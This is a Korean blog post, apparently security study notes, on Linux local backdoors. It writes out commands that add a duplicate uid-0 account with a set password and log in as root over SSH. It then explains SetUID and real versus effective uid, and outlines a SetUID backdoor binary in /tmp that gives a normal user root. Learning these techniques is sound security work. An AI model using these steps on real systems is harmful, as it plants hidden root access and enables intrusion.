passwd 백도어
# useradd -o -u 0 back
// o 옵션 : 중복된 uid 를 사용하겠다,
// -u 0 : 슈퍼유저 uid
비밀번호
# echo 'back:songjina.' | chpasswd
# grep back /etc/passwd
back:x:0:501::/home/back:/bin/bash
//back 유저의 비밀번호 songjina. (쉘에 뜨는 대화형이 아닌, 한 문장으로 끝내기 위해 이런 명령어를 씀.
ssh 로 접속해보면,
root 권한으로 접속됨을 확인할 수 있다.
대표적인 예
passwd 명령어
passwd (/user/bin/passwd ) 명령어를 실행할 때에는 shadow 파일 ( /etc/shadow) 에 기록된다.
따라서 shadow 파일에 쓰기 권한이 있어야 하는데,
실제로 shadow 파일의 권한은
아무에게도 없다....
그래서 passwd 명령어의 권한을 살펴보면
파일의 소유주 필드의 실행 비트에 s가 설정되어 있는 경우 SetUID가 적용된 파일 임을 알 수 있다.
( set uid ? 리눅스 특수 권한으로, 소유자 퍼미션으로 실행 가능. )
passwd 명령어 실행할 때,
소유자 권한으로 shadow 파일 실행할 수 있다면서
일반사용자로 들어갔을 때, 자신의 passwd 변경이 아닌 다른 사용자의 passwd에는 접근할 수 없도록 되어있다.
왜 그런것일까?
RUID ( Real uid ), EUID ( Effective uid ) 로 구분하기 때문이다.
ruid 는 실제적인 일반사용자 id 로 바뀌지 않는다.
바뀌는 것은 euid로, 일시적으로 root로 바뀌는것.
ruid 는 그대로여서, 일반 사용자인지 아닌지를 구분하고, 권한을 주지 않는다.
프로세스의 RUID / EUID 권한 확인
# vi /root/getuid.c
컴파일
# gcc -o getuid /root/getuid.c
# ./getuid
RUID, EUID 를 확인하고,
이제 SetUID 를 설정하고 비교해본다.
SetUID 를 해주고 나니, EUID 가 0번 (슈퍼유저 권한) 으로 바뀐 것을 확인할 수 있다.
> local backdoor 만들기 예제
# vi /tmp/backdoor.c
컴파일 후, 권한 변경 ( Set UID )
이제 일반사용자 계정으로 들어가서
backdoor 파일을 실행하면
슈퍼유저 권한으로 (uid=0) 으로 변경할 수 있다. (패스워드 입력하는 과정같은거 일체 없이 바로.)
'INFOSEC > LINUX' 카테고리의 다른 글
Backdoor Rootkit (0) | 2019.09.25 |
---|---|
Local Backdoor (0) | 2019.09.24 |
시스템 로그 분석 ( logrotate ) (0) | 2019.09.23 |
PAM (Pluggable Authentication Modules) (0) | 2019.09.19 |
Linux Router Mode 2 (0) | 2019.08.28 |